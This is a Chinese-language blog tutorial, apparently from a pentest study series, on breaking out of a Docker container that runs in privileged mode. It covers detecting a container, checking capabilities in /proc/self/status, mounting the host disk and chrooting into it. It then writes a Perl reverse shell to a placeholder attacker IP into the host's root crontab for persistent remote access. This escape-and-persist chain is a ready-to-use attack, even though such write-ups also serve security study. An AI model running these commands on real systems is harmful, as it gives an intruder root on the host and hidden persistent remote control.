05-Docker特权模式逃逸

01-前言

在渗透测试的过程中,由于一些服务是部署在 Docker 容器中,所以当我们拿到一台 Docker 容器的 shell 后可能需要进行环境的判定,继而进行容器逃逸。在本篇文章中我们将进行总结学习,如何在拿到一台容器后进行流程化的 Docker 逃逸。

02-容器逃逸常见场景

**Docker**逃逸的常见产生原因及利用方法有如下几个,后续会在学习中逐渐整理:

  1. 因为特权模式启动容器造成 Docker 逃逸问题
  2. 因为危险挂载启动容器造成 Docker 逃逸问题
  3. CVE 公开漏洞中存在的 Docker 容器问题

03-容器发现

在渗透测试过程中,如何发现自己进入了容器,常见步骤如下:

  1. 查看根目录下是否存在.docekrenv,在根目录下执行ls -la,若存在则证明在 docker 环境。
  2. 直接在命令行输入env,Docker 容器会比真实主机输入的内容少的多。

Docker 容器
image.png
真实主机
image.png

  1. 在命令输入cat /proc/1/cgroup,若为容器,输出结果会出现docker字眼。

Docker 容器
image.png
真实主机
image.png

04-特权模式逃逸

什么是特权模式?Docker 特权模式向主机系统上的所有设备授予 Docker 容器根功能。在特权模式下运行容器赋予它主机的功能。
在容器拥有特权模式的情况下,可以在容器中再次开启容器,或者可以执行一些高权限命令,比如systemctl等。
进行特权模式容器逃逸具体步骤如下:
一:检查是否是特权模式

  1. 检查是否是特权模式启动,使用如下命令进行检查cat /proc/self/status | grep CapEff
  2. 如果是特权模式的话,会显示000001ffffffffff或者0000003fffffffff
  3. 成功显示0000001fffffffff,说明是特权模式启动容器,可以尝试逃逸。image.png

二:挂载文件到宿主机实现逃逸

  1. 首先输入fdisk -l,查看挂载到磁盘的设备,比如实验容器挂载目录为/dev/vda1image.png
  2. 创建挂载目录,挂载到宿主机目录下,具体代码如下:
mkdir /testdocker1 && mount /dev/vda1 /testdocker1
chroot /testdocker1
  1. 此时如果使用命令cat /etc/passwd,等同于cat /testdocker1/etc/passwd,可以访问到宿主机相关文件,Docker 逃逸成功。
  2. 此时可以将反弹 shell 命令写入计划任务,进行反弹,代码如下:
echo $'*/1 * * * * perl -e \'use Socket;
$i="反弹shell服务器IP";
$p="反弹shell服务器端口";
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
open(STDOUT,">&S");open(STDERR,">&S");
exec("/bin/sh -i");};\'' >> 
/var/spool/cron/root
  1. 查看计划任务,发现成功写入,监听端服务器成功接收反弹 shell
  2. 注意如果是 ubuntu 系统,计划任务文件为/var/spool/cron/crontabs/root,如果是 centos 系统,计划任务文件为/var/spool/cron/root

成功写入计划任务
image.png
监听服务器成功监听
image.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小蓝学不会嵌入式!

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值